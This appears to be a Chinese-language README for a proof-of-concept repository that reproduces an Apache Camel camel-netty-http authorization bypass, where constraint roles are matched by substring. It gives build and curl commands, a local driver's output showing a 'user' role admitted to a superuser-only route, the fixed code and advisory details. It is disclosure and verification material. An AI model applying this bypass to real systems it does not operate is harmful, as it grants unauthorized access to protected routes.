针对 Apache Camel 漏洞的可运行概念验证复现程序,该漏洞中,在
camel-netty-http 安全约束中声明的角色与已认证角色进行比较时,使用的是子字符串匹配
而非精确比较:
// affected: HttpServerChannelHandler.matchesRoles()
for (String userRole : ObjectHelper.createIterable(userRoles)) {
if (roles.contains(userRole)) { // the CONSTRAINT string searched for the CALLER's role
return true;
}
}
因此,一个名称仅仅包含所需角色作为子字符串的角色,就满足了它本不应满足的约束,于是调用方可以访问到它无权通过授权的路由。
| 运行时 | 目录 | 技术栈 |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-netty-http 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0(Quarkus 3.39.0,Camel 4.22.0) |
Camel Quarkus 3.40.1 及更高版本已包含修复后的 Camel 4.22.2;3.40.0(Camel 4.22.1)仍受影响。
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
在受影响的构建版本上输出(两个运行时上完全相同):
Wiring check, so the verdict below means something:
endpoint : http://0.0.0.0:8081/api
securityConfiguration : attached
authenticate / scheme : true / Basic
securityConstraint : set
roles required for /admin: superuser (relative to the endpoint path)
1) No credentials at all
HTTP 401 refused
2) root, whose role IS 'superuser' - the intended caller
HTTP 200 ADMITTED
3) alice, whose only role is 'user' - a substring of 'superuser'
HTTP 200 ADMITTED
4) CONTROL - guest, whose role 'guest' is not a substring of 'superuser'
HTTP 401 refused
5) CONTROL - the excluded /api/public path, anonymously
HTTP 200 ADMITTED (the constraint machinery is live and this path is meant to be open)
>>> PROVEN: ...
'superuser'.contains("user") 为 true,因此 仅持有普通 user 角色的 alice 能够访问一个仅限于 superuser 的路由。由于整个逗号分隔的约束字符串都会被搜索,一个跨越分隔符匹配的角色同样可以达到目的。
一个 securityConfiguration 未能附加的 netty-http 路由会对所有请求都返回 200,这看起来与完全的授权绕过一模一样。因此,驱动程序会打印正在运行的端点实际附加了什么,而两个对照项(匿名访问和无关的 guest 角色,两者均返回 401)表明该检查是有效的。只有子串关系才会授予访问权限。
给任何改编此内容的人的提示:security-constraint 路径是相对于端点 URI 的。
HttpServerChannelHandler.extractTarget()在匹配之前会剥离消费者自身的路径,因此该路由 监听/api,使用matchOnUriPrefix=true,而约束声明为/admin。将 约束声明为消费者的完整路径则不会匹配任何内容,使路由不受限制,并产生一个 看似可信但毫无意义的“绕过”。
没有身份提供者,也没有网络。一个 SecurityAuthenticator 代替用户目录,包含三个
账户,每个账户持有其名称所暗示的单一角色:
| 账户 | 角色 | 与所需 superuser 的关系 |
|---|---|---|
root | superuser | 约束所要求的角色 |
alice | user | 它的一个子串 |
guest | guest | 无关 |
真实的 NettyHttpSecurityConfiguration、真实的 SecurityConstraintMapping 和真实的
HttpServerChannelHandler 会运行;驱动程序发出普通的 HTTP Basic 请求并报告状态码。
| 属性 | 值 |
|---|---|
| 组件 | camel-netty-http (HttpServerChannelHandler.matchesRoles()) |
| CWE | 通过不正确的角色比较导致的授权绕过 |
| 严重性 | 中 |
| 攻击向量 | 使用名称是约束所需角色子串的角色进行身份验证 |
| 影响 | 访问调用者无权通过的授权路由 |
| 受影响版本 | 4.0.0 至 4.18.6 之前;4.19.0 至 4.22.2 之前 |
| 修复版本 | 4.18.6、4.22.2、4.23.0 |
| JIRA | CAMEL-25376 |
| 致谢 | Apache Software Foundation 的 Andrea Cosentino |
公告:https://camel.apache.org/security/CVE-2026-105968.html
约束角色被解析为一组名称,并按精确值进行比较:
Set<String> names = roleNames(roles);
for (String userRole : ObjectHelper.createIterable(userRoles)) {
if (names.contains(userRole.trim())) {
return true;
}
}
将 camel.version 设置为 4.22.2 并再次运行。已针对 4.22.1 -> 4.22.2 验证:
2) root, whose role IS 'superuser' HTTP 200 ADMITTED
3) alice, whose only role is 'user' HTTP 401 refused
4) CONTROL - guest HTTP 401 refused
5) CONTROL - /api/public anonymously HTTP 200 ADMITTED
>>> NOT reproduced: the 'user' role was refused.
预期的调用方仍然可以进入,公共路径也保持开放,因此该修复在不破坏约束的前提下关闭了绕过路径。
本仓库出于教育和防御目的发布:帮助 Apache Camel 用户理解该漏洞、验证自身是否受影响,并确认升级后能够解决该问题。请勿将本材料用于您不拥有或未运营的系统。